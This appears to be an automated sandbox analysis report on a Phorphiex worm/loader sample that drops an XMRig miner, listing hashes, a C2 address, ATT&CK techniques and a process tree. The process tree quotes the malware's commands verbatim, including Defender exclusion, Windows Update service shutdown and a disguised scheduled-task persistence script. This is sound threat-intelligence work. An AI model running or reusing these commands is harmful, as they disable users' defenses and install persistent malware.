phorphiex | 6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29/10/2024, 02:29

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General

Target
6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e.exe
Size 10KB
Sample241029-cymlmasgla
SHA256 6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e
MD5 ed9fbbbe548c41479cb70e4d694793d0
SHA1 a0bde162d2241ab2acb58544511a41df30a096a7
SHA512 49652367fec13a1e7a188fd039bf8a9fae6be72fdc31e7597bbcfdf30375277f6a7e09b74bd5a2adf1696cf720998c751b7e1671afa3a59c4dfa7069bca543fb
SSDEEP 192:Jd94uPG8E1CDSnzmgp+eMwY46BJxT43thW:394u5SCDSnJo+c83
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

phorphiex xmrig discovery evasion execution loader miner persistence trojan worm

Malware Config

Extracted

Family

phorphiex

http://185.215.113.84

Signatures

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysppvrdnvs.exe

Phorphiex family
phorphiex

Phorphiex payload 1 IoCs

resource	yara_rule
behavioral2/files/0x0003000000022efc-4.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 688 created 3576	688	2114624725.exe	56
PID 688 created 3576	688	2114624725.exe	56
PID 1448 created 3576	1448	winupsecvmgr.exe	56
PID 1448 created 3576	1448	winupsecvmgr.exe	56
PID 1448 created 3576	1448	winupsecvmgr.exe	56

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/1448-133-0x00007FF786840000-0x00007FF786DD7000-memory.dmp	xmrig
behavioral2/memory/2008-136-0x00007FF64CCB0000-0x00007FF64D49F000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3028	powershell.exe
2208	powershell.exe
644	powershell.exe

Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	sysppvrdnvs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	2127416204.exe

Executes dropped EXE 8 IoCs

pid	Process
4068	1347.scr
1300	sysppvrdnvs.exe
3300	2127416204.exe
4948	139387317.exe
2944	1764331401.exe
1832	3232622511.exe
688	2114624725.exe
1448	winupsecvmgr.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	1347.scr

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1448 set thread context of 1284	1448	winupsecvmgr.exe	140
PID 1448 set thread context of 2008	1448	winupsecvmgr.exe	141

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\sysppvrdnvs.exe	1347.scr
File opened for modification	C:\Windows\sysppvrdnvs.exe	1347.scr

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4980	sc.exe
4520	sc.exe
4828	sc.exe
3180	sc.exe
2952	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3232622511.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1764331401.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1347.scr
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	139387317.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
644	powershell.exe
644	powershell.exe
3300	2127416204.exe
688	2114624725.exe
688	2114624725.exe
3028	powershell.exe
3028	powershell.exe
688	2114624725.exe
688	2114624725.exe
1448	winupsecvmgr.exe
1448	winupsecvmgr.exe
2208	powershell.exe
2208	powershell.exe
1448	winupsecvmgr.exe
1448	winupsecvmgr.exe
1448	winupsecvmgr.exe
1448	winupsecvmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	644	powershell.exe
Token: SeDebugPrivilege	3300	2127416204.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeIncreaseQuotaPrivilege	3028	powershell.exe
Token: SeSecurityPrivilege	3028	powershell.exe
Token: SeTakeOwnershipPrivilege	3028	powershell.exe
Token: SeLoadDriverPrivilege	3028	powershell.exe
Token: SeSystemProfilePrivilege	3028	powershell.exe
Token: SeSystemtimePrivilege	3028	powershell.exe
Token: SeProfSingleProcessPrivilege	3028	powershell.exe
Token: SeIncBasePriorityPrivilege	3028	powershell.exe
Token: SeCreatePagefilePrivilege	3028	powershell.exe
Token: SeBackupPrivilege	3028	powershell.exe
Token: SeRestorePrivilege	3028	powershell.exe
Token: SeShutdownPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeSystemEnvironmentPrivilege	3028	powershell.exe
Token: SeRemoteShutdownPrivilege	3028	powershell.exe
Token: SeUndockPrivilege	3028	powershell.exe
Token: SeManageVolumePrivilege	3028	powershell.exe
Token: 33	3028	powershell.exe
Token: 34	3028	powershell.exe
Token: 35	3028	powershell.exe
Token: 36	3028	powershell.exe
Token: SeIncreaseQuotaPrivilege	3028	powershell.exe
Token: SeSecurityPrivilege	3028	powershell.exe
Token: SeTakeOwnershipPrivilege	3028	powershell.exe
Token: SeLoadDriverPrivilege	3028	powershell.exe
Token: SeSystemProfilePrivilege	3028	powershell.exe
Token: SeSystemtimePrivilege	3028	powershell.exe
Token: SeProfSingleProcessPrivilege	3028	powershell.exe
Token: SeIncBasePriorityPrivilege	3028	powershell.exe
Token: SeCreatePagefilePrivilege	3028	powershell.exe
Token: SeBackupPrivilege	3028	powershell.exe
Token: SeRestorePrivilege	3028	powershell.exe
Token: SeShutdownPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeSystemEnvironmentPrivilege	3028	powershell.exe
Token: SeRemoteShutdownPrivilege	3028	powershell.exe
Token: SeUndockPrivilege	3028	powershell.exe
Token: SeManageVolumePrivilege	3028	powershell.exe
Token: 33	3028	powershell.exe
Token: 34	3028	powershell.exe
Token: 35	3028	powershell.exe
Token: 36	3028	powershell.exe
Token: SeIncreaseQuotaPrivilege	3028	powershell.exe
Token: SeSecurityPrivilege	3028	powershell.exe
Token: SeTakeOwnershipPrivilege	3028	powershell.exe
Token: SeLoadDriverPrivilege	3028	powershell.exe
Token: SeSystemProfilePrivilege	3028	powershell.exe
Token: SeSystemtimePrivilege	3028	powershell.exe
Token: SeProfSingleProcessPrivilege	3028	powershell.exe
Token: SeIncBasePriorityPrivilege	3028	powershell.exe
Token: SeCreatePagefilePrivilege	3028	powershell.exe
Token: SeBackupPrivilege	3028	powershell.exe
Token: SeRestorePrivilege	3028	powershell.exe
Token: SeShutdownPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeSystemEnvironmentPrivilege	3028	powershell.exe
Token: SeRemoteShutdownPrivilege	3028	powershell.exe
Token: SeUndockPrivilege	3028	powershell.exe
Token: SeManageVolumePrivilege	3028	powershell.exe
Token: 33	3028	powershell.exe
Token: 34	3028	powershell.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe
2008	dwm.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 4068	4984	6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e.exe	91
PID 4984 wrote to memory of 4068	4984	6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e.exe	91
PID 4984 wrote to memory of 4068	4984	6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e.exe	91
PID 4068 wrote to memory of 1300	4068	1347.scr	92
PID 4068 wrote to memory of 1300	4068	1347.scr	92
PID 4068 wrote to memory of 1300	4068	1347.scr	92
PID 1300 wrote to memory of 5080	1300	sysppvrdnvs.exe	94
PID 1300 wrote to memory of 5080	1300	sysppvrdnvs.exe	94
PID 1300 wrote to memory of 5080	1300	sysppvrdnvs.exe	94
PID 1300 wrote to memory of 4864	1300	sysppvrdnvs.exe	96
PID 1300 wrote to memory of 4864	1300	sysppvrdnvs.exe	96
PID 1300 wrote to memory of 4864	1300	sysppvrdnvs.exe	96
PID 5080 wrote to memory of 644	5080	cmd.exe	98
PID 5080 wrote to memory of 644	5080	cmd.exe	98
PID 5080 wrote to memory of 644	5080	cmd.exe	98
PID 4864 wrote to memory of 4980	4864	cmd.exe	99
PID 4864 wrote to memory of 4980	4864	cmd.exe	99
PID 4864 wrote to memory of 4980	4864	cmd.exe	99
PID 4864 wrote to memory of 4520	4864	cmd.exe	100
PID 4864 wrote to memory of 4520	4864	cmd.exe	100
PID 4864 wrote to memory of 4520	4864	cmd.exe	100
PID 4864 wrote to memory of 4828	4864	cmd.exe	101
PID 4864 wrote to memory of 4828	4864	cmd.exe	101
PID 4864 wrote to memory of 4828	4864	cmd.exe	101
PID 4864 wrote to memory of 3180	4864	cmd.exe	102
PID 4864 wrote to memory of 3180	4864	cmd.exe	102
PID 4864 wrote to memory of 3180	4864	cmd.exe	102
PID 4864 wrote to memory of 2952	4864	cmd.exe	103
PID 4864 wrote to memory of 2952	4864	cmd.exe	103
PID 4864 wrote to memory of 2952	4864	cmd.exe	103
PID 1300 wrote to memory of 3300	1300	sysppvrdnvs.exe	115
PID 1300 wrote to memory of 3300	1300	sysppvrdnvs.exe	115
PID 3300 wrote to memory of 3324	3300	2127416204.exe	116
PID 3300 wrote to memory of 3324	3300	2127416204.exe	116
PID 3300 wrote to memory of 1292	3300	2127416204.exe	118
PID 3300 wrote to memory of 1292	3300	2127416204.exe	118
PID 3324 wrote to memory of 1816	3324	cmd.exe	120
PID 3324 wrote to memory of 1816	3324	cmd.exe	120
PID 1292 wrote to memory of 2860	1292	cmd.exe	121
PID 1292 wrote to memory of 2860	1292	cmd.exe	121
PID 1300 wrote to memory of 4948	1300	sysppvrdnvs.exe	125
PID 1300 wrote to memory of 4948	1300	sysppvrdnvs.exe	125
PID 1300 wrote to memory of 4948	1300	sysppvrdnvs.exe	125
PID 1300 wrote to memory of 2944	1300	sysppvrdnvs.exe	126
PID 1300 wrote to memory of 2944	1300	sysppvrdnvs.exe	126
PID 1300 wrote to memory of 2944	1300	sysppvrdnvs.exe	126
PID 1300 wrote to memory of 1832	1300	sysppvrdnvs.exe	127
PID 1300 wrote to memory of 1832	1300	sysppvrdnvs.exe	127
PID 1300 wrote to memory of 1832	1300	sysppvrdnvs.exe	127
PID 2944 wrote to memory of 688	2944	1764331401.exe	128
PID 2944 wrote to memory of 688	2944	1764331401.exe	128
PID 1448 wrote to memory of 1284	1448	winupsecvmgr.exe	140
PID 1448 wrote to memory of 2008	1448	winupsecvmgr.exe	141

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3576
- C:\Users\Admin\AppData\Local\Temp\6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e.exe
  "C:\Users\Admin\AppData\Local\Temp\6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Users\Admin\AppData\Local\Temp\1347.scr
    "C:\Users\Admin\AppData\Local\Temp\1347.scr" /S
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4068
  - - C:\Windows\sysppvrdnvs.exe
      C:\Windows\sysppvrdnvs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Checks computer location settings
      Executes dropped EXE
      Windows security modification
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1300
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5080
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:644
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4864
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4980
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4520
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4828
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3180
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2952
    - - C:\Users\Admin\AppData\Local\Temp\2127416204.exe
        
        C:\Users\Admin\AppData\Local\Temp\2127416204.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3300
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3324
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:1816
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1292
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:2860
    - - C:\Users\Admin\AppData\Local\Temp\139387317.exe
        
        C:\Users\Admin\AppData\Local\Temp\139387317.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4948
    - - C:\Users\Admin\AppData\Local\Temp\1764331401.exe
        
        C:\Users\Admin\AppData\Local\Temp\1764331401.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2944
      - C:\Users\Admin\AppData\Local\Temp\2114624725.exe
        
        C:\Users\Admin\AppData\Local\Temp\2114624725.exe
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:688
    - - C:\Users\Admin\AppData\Local\Temp\3232622511.exe
        
        C:\Users\Admin\AppData\Local\Temp\3232622511.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:4612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2208
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:1284
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2008

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b
MD5 fee026663fcb662152188784794028ee
SHA1 3c02a26a9cb16648fad85c6477b68ced3cb0cb45
SHA512 7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6
MD5 SHA1 SHA512

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1[1]

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HA5FC889\1[1]
Size 108KB
SHA256 84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02
MD5 1fcb78fb6cf9720e9d9494c42142d885
SHA1 fef9c2e728ab9d56ce9ed28934b3182b6f1d5379
SHA512 cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3
SSDEEP 3072:LFQC4AbS79Bo0bTtS3v4P09loyBE7QXNn8IJrF:LFQC4A+7jfiw8HoyYQXdXF
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 6523ed8587441ec09e89fbcc214cf71f45bd4bd04c16d306c0c6d2516e0155d5
MD5 ce84e8e66b91171890554dd1d667134a
SHA1 9d51d8a8f54b11fbd5a44881775110f19d813b7e
SHA512 b77fa766740b6bea370bba9c18e0c9ed7c0c0b71765220d419ffb9bd73944e3cbcfe546f62bc7226aca7dd21005ecaeef1d4058fe38b7ff9103aead961504a8f
SSDEEP 384:msf+BG9i+os8JBBo/nq9zo97gNQPK6seYM60uKk3SoEAsfYL2Oz/spQ0gDF+PKhj:jfYb76sk7gNQPNklSP8Fz/MI4m
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02
MD5 d95b08252ed624f6d91b46523f110f29
SHA1 17577997bc1fb5d3fbe59be84013165534415dc3
SHA512 0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257
MD5 SHA1 SHA512

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1347.scr

Path C:\Users\Admin\AppData\Local\Temp\1347.scr
Size 83KB
SHA256 9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d
MD5 06560b5e92d704395bc6dae58bc7e794
SHA1 fbd3e4ae28620197d1f02bfc24adaf4ddacd2372
SHA512 b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3
SSDEEP 1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl
MD5 SHA1 SHA512 SSDEEP

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139387317.exe

Path C:\Users\Admin\AppData\Local\Temp\139387317.exe
Size 15KB
SHA256 981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1
MD5 0c37ee292fec32dba0420e6c94224e28
SHA1 012cbdddaddab319a4b3ae2968b42950e929c46b
SHA512 2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b
SSDEEP 384:M2moXxWtTFRyGMdMdMdMdMdMdMdMdMP/F2:MJoi6g
MD5 SHA1 SHA512 SSDEEP

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1764331401.exe

Path C:\Users\Admin\AppData\Local\Temp\1764331401.exe
Size 10KB
SHA256 a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744
MD5 96509ab828867d81c1693b614b22f41d
SHA1 c5f82005dbda43cedd86708cc5fc3635a781a67e
SHA512 ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca
SSDEEP 96:vdHiIV5H6c10lqo9ZYAoQdVDCcJ+587tG6AuJxGE9btz2qhRC7tCEOhd1Q:vdHiQ5HV1wr9KA/J+izJxTZtzthyOhd
MD5 SHA1 SHA512 SSDEEP

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2114624725.exe

Path C:\Users\Admin\AppData\Local\Temp\2114624725.exe
Size 5.6MB
SHA256 1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256
MD5 13b26b2c7048a92d6a843c1302618fad
SHA1 89c2dfc01ac12ef2704c7669844ec69f1700c1ca
